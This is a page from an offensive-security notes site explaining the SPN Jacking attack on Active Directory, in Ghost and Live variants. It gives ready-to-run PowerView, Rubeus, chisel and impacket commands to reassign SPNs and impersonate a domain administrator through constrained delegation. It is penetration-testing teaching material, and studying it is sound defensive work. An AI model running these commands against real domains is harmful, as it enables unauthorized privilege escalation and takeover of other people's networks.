🦦
Otter's Notes
  • Introduction
  • Articles
    • Dumping data from the Microsoft Recall folder
    • Gaining persistence on Windows with Time Providers
    • Reverse engineering LSASS to decrypt DPAPI keys
    • Intro to Hypervisor Implants
    • In-depth Windows Telemetry
  • Notes
    • Active Directory
      • Active Directory Structure
      • Active Directory Terminology
      • Active Directory Objects
      • Active Directory Groups
      • Active Directory Functionality
      • Active Directory Protocols
      • Active Directory Rights and Privileges
      • Security in Active Directory
      • Users and Machine Accounts
      • NTLM
      • LDAP
      • Making a Target User List
      • Enumerating & Retrieving Password Policies
      • Enumerating Security Controls
      • Examining Group Policy
      • GPOs
      • LAPS
      • LLMNR & NBT-NS Poisoning
      • LOLBIN Enumeration
    • AAD
      • Useful Links
      • Overview of Azure & M365
      • Enumerate Users and Domains
      • Post-exploitation Reconnaissance
      • OAuth 2.0 Abuse
      • Abusing Device Code Authentication
      • Abusing Cloud Administrator Role
      • Abusing User Administrator Role
      • AAD Federated Backdoor
      • Service Principal Abuse
      • Compromising Azure Blobs and Storage Accounts
      • Malicious Device Join
      • Disabling Auditing (Unified Audit Logs)
      • Spoofing Azure Sign-In Logs
      • Registering Fake Agents for Log Spoofing
      • Pass the PRT
      • Pass the Cookie
      • Abusing Managed Identities
      • Virtual Machine Abuse
      • Attacking Key Vaults
    • Forest Trust Abuse
      • Parent-Child Trust Abuse
      • One-Way Inbound Trust Abuse
      • Foreign Group Membership
      • Foreign ACL Principals
      • SID History
      • SID Filter Bypass
      • Intra-Forest Attacks
        • Configuration Naming Context Replication
        • ADCS NC Replication Attack
        • GPO On-Site Attack
        • GoldenGMSA Attack
        • DNS Trust Attack
      • Cross-Forest Attacks
        • Trust Account Attack
        • Abusing SQL Linked Servers
        • Abusing PAM Trusts
    • Kerberos
      • Overview of Kerberos Authentication
      • Silver Tickets
      • Golden Tickets
      • Diamond Tickets
      • Kerberoasting
      • AS-REPRoasting
      • Resource-Based Constrained Delegation
      • Constrained Delegation
      • Unconstrained Delegation
      • S4U2Self & S4U2Proxy
      • Golden Certificates
    • DACL Abuse
      • DACL Overview
      • DACLs Enumeration
      • AddMembers
      • GPO Attacks
      • Granting Rights and Ownership
      • Logon Scripts
      • NoPAC
      • Password Abuse
      • SPN Jacking
      • Shadow Credentials
      • Targeted Kerberoasting
    • ADCS
      • Introduction to ADCS
      • ESC1
      • ESC2
      • ESC3
      • ESC4
      • ESC5
      • ESC6
      • ESC7
      • ESC8
      • ESC9
      • ESC10
      • ESC11
      • Certificate Mapping
    • PowerShell
      • PowerShell Basics
      • PowerShell Remoting
      • Alternate PowerShell Hosts
      • PowerShell Pipeline Runners
      • PowerShell Code Signing
      • Scriptblock Logging
      • PowerShell CLM
      • AMSI
      • PowerShell Reflection
      • WMI - Windows Management Instrumentation
      • Interfacing with AD
      • PowerShell Snippets
        • Bypass application whitelisting and CLM with runscripthelper and WMI
        • Create fake PowerShell logs
        • Enumerate AD ACLs
        • Enumerate WMI events
        • Enumerate Domain Trusts
        • Enumerate change metadata
        • Enumerate non-signed service binaries
        • Enumerate with GPOs
        • Find signed alternate PowerShell hosts
        • Get AMSI module
        • Group processes by user with WMI
        • Hide processes from Get-Process
        • Malware re-purposing with PowerShell reflection
        • Monitor PowerShell hosts with WMI
        • PowerShell reflection offensive use-case
        • Query PowerShell alternative hosts with WMI
        • Retrieve file certificate
        • Search LDAP for misconfigurations
        • Sign custom code with PowerShell
        • WMI service creation
        • Weak folder permission enumeration
    • AWS
      • AWS Organizations
      • AWS Principals
    • Binary Exploitation
      • Environment setup for Browser Exploitation
      • Browser Overview and Components
    • Kernel Development
      • Windows
        • Configuring a VM for driver development
Powered by GitBook
On this page
  1. Notes
  2. DACL Abuse

SPN Jacking

PreviousPassword AbuseNextShadow Credentials

Last updated 9 months ago

SPN Jacking is an as it manipulates to allow the abuse of WriteSPN when password cracking is not possible.

Ghost SPN-Jacking

Ghost SPN-Jacking targets scenarios where an SPN, previously associated with a computer or service account, is either no longer in use due to the deletion or renaming of the account, or it belongs to a custom service class that has been removed. Such SPNs are often left unattended in systems configured for Kerberos Constrained Delegation.

To enumerate WriteSPN rights we can use Bloodhound or PowerView. When using BloodHound we will see the edge WriteSPN.

MATCH p=(n:User)-[r1:WriteSPN*1..]->(c:Computer) RETURN p
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $(ConvertTo-SID otter)}

It's good practice to confirm with powerview, pywerview, dacledit or adalanche since BH might miss this ACL

If we find an account with this ACL we need to confirm that machine account we own has constrained delegation set

Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

name  msds-allowedtodelegateto
----  ------------------------
SRV {www/WS, www/WS.domain.com, ...}

And now to perform the Ghost SPN-Jacking attack we must look for orphaned SPNs on SRV, with the aim of assigning them to our target machine WEB. To do this we can use PowerView to search for servers configured for Constrained Delegation and to map which servers are configured along with to display the value of msDS-AllowedToDelegateTo as this attribute contains a list of SPNs and is used to configure a service so that it can obtain service tickets that can be used for Constrained Delegation - the script also allows to look for orphaned SPNs

Import-Module C:\Tools\PowerView.ps1
Import-Module C:\Tools\Get-ConstrainedDelegation.ps1
Get-ConstrainedDelegation

Type  Name  Target  SPN
----  ----  ------  ---
Computer SRV  DBSRV dmserver/DBSRV
Computer SRV  DBSRV dmserver/DBSRV.domain.com
Computer SRV  EXCH  www/EXCH
Computer SRV  EXCH  www/EXCH.domain.com
Computer SRV  DATABASE dhcp/DATABASE
Computer SRV  DATABASE dhcp/DATABASE.domain.com
Get-ConstrainedDelegation -CheckOrphaned

Type  Name  Target  SPN
----  ----  ------  ---
Computer SRV  DATABASE dhcp/DATABASE
Computer SRV  DATABASE dhcp/DATABASE.domain.com

After noting down the original state of the SPNs we can assign one of the orphaned SPNs to our target machine WEB

Set-DomainObject -Identity WEB -Set @{serviceprincipalname='dhcp/DATABASE'} -Verbose

This action misaligns the SPN's intended association, tricking the Kerberos authentication system into recognizing WEB as the legitimate endpoint for the services initially tied to the SPN. Now we can use the S4U extension from Rubeus, using the SRV$ account to obtain a service ticket for a privileged user to WEB

.\Rubeus.exe s4u /domain:domain.com /user:SRV$ /rc4:<SRV_NTLM> /impersonateuser:administrator /msdsspn:"dhcp/DATABASE" /nowrap

The ticket obtained through executing Rubeus s4u wouldn't provide us access to WEB due to a discrepancy in the hostname and the service class dhcp/DATABASE doesn't provide an attack path, we need to change it to another service such as CIFS. That said, this ticket is encrypted for WEB, with the service name not encrypted within the ticket allowing us to alter the service name to one valid and the hostname to match the target WEB

.\Rubeus.exe tgssub /ticket:<TICKET_BASE64> /altservice:cifs/WEB /nowrap

Live SPN-Jacking

Live SPN-Jacking requires active manipulation of SPNs currently in use within the network environment.

Typically, in environments with up-to-date security updates in the Active Directory environment, only Domain Admins can assign the duplicate SPN to different accounts due to the potential for conflict. Attempting to assign an SPN already associated with DBSRV to WEB would usually be blocked by the Domain Controller to prevent such disputes. To get around this we need to remove the SPN we want to use from DBSRV, temporarily disabling the association and making it possible to add the SPN to WEB. As always, it's best practice to take note of the original state of the SPNs in order to revert the changes later on.

Now we can use powerview to remove the SPN from DBSRV

Set-DomainObject -Identity DBSRV -Clear 'serviceprincipalname' -Verbose

and assign it to WEB

Set-DomainObject -Identity WEB -Set @{serviceprincipalname='dmserver/DBSRV'} -Verbose

This opens up the possibility for a S4U attack - it's still worth noting that the service name on the ticket wouldn't directly allow access to WEB, but we can alter the service name and host name to use the ticket against our target computer. We will use HTTP/WEB instead of CIFS to connect to PowerShell Remoting

.\Rubeus.exe s4u /domain:domain.com /user:SRV$ /rc4:<SRV_NTLM> /impersonateuser:administrator /msdsspn:"dmserver/DBSRV" /nowrap
.\Rubeus.exe tgssub /ticket:<BASE64_TICKET> /altservice:HTTP/WEB /nowrap

After we have the ticket we can restore the SPNs we deleted

Set-DomainObject -Identity DBSRV003 -Set @{serviceprincipalname='WSMAN/DBSRV','WSMAN/DBSRV.domain.com','TERMSRV/DBSRV','TERMSRV/DBSRV.domain.com','RestrictedKrbHost/DBSRV','HOST/DBSRV','RestrictedKrbHost/DBSRV.domain.com','HOST/DBSRV.domain.com'} -Verbose

Performing this attack from linux requires some tunneling to be done - we can use chisel or ligolo for that

.\chisel.exe client 10.10.14.10:1080 R:socks

Then we can use findDelegation to verify if the computer we own has constrained delegation set and take note of the original state of the SPNs

proxychains -q findDelegation.py -target-domain domain.com -dc-ip 172.16.10.10 -dc-host dc domain.com/otter:'SomethingSecure123!'
proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' --clear -t 'DBSRV$' -dc-ip 172.16.10.10

after this we add the SPN to WEB

proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' --spn 'dmserver/DBSRV' -t 'WEB$' -dc-ip 172.16.10.10

and request a ticket

proxychains -q getST.py -spn 'dmserver/DBSRV' -impersonate Administrator 'domain.com/SRV$' -hashes :<SRV_HASH> -dc-ip 172.16.10.10 -altservice "cifs/WEB.domain.com"

This getST command eliminates the need to use tgssub to change the hostname in the ticket

A really neat trick to restore a list of SPNs from a txt file is

for spn in $(cat DBSRVspns.txt);do proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' -t 'DBSRV$' --spn $spn;done

Now we use 's addspn to clear the SPNs from DBSRV

alternative method to abuse WriteSPN rights
Constrained Delegation
Get-ConstrainedDelegation.ps1
krbrelayx